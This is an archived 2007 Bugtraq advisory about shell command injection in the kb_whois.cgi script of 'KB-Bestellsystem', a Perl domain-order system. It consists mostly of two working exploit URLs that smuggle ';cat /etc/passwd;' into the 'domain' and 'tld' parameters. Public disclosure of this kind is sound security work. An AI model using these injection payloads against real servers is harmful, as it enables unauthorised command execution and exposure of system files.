[prev in list] [next in list] [prev in thread] [next in thread] 

List:       bugtraq
Subject:    Remote Shell Command Execution in "KB-Bestellsystem" (amensa-soft.de)
From:       zero-x () linuxmail ! org
Date:       2007-11-22 11:19:29
Message-ID: 20071122111929.20051.qmail () securityfocus ! com
[Download RAW message or body]

"KB-Bestellsystem" is a domain order system written in Perl.
The "domain" and "tld" parameters in "kb_whois.cgi" are not filtering shell \
metacharacters.

The following examples will show you the /etc/passwd file:

http://targethost.com/kb-bestellsystem/kb_whois.cgi?action=check_owner&domain=;cat%20/etc/passwd;&tld=.com&tarrif=
 http://targethost.com/kb-bestellsystem/kb_whois.cgi?action=check_owner&domain=google&tld=.com;cat \
/etc/passwd;&tarrif=

<< Greetz Zero X >>


[prev in list] [next in list] [prev in thread] [next in thread] 

Configure | About | News | Add a list | Sponsored by KoreLogic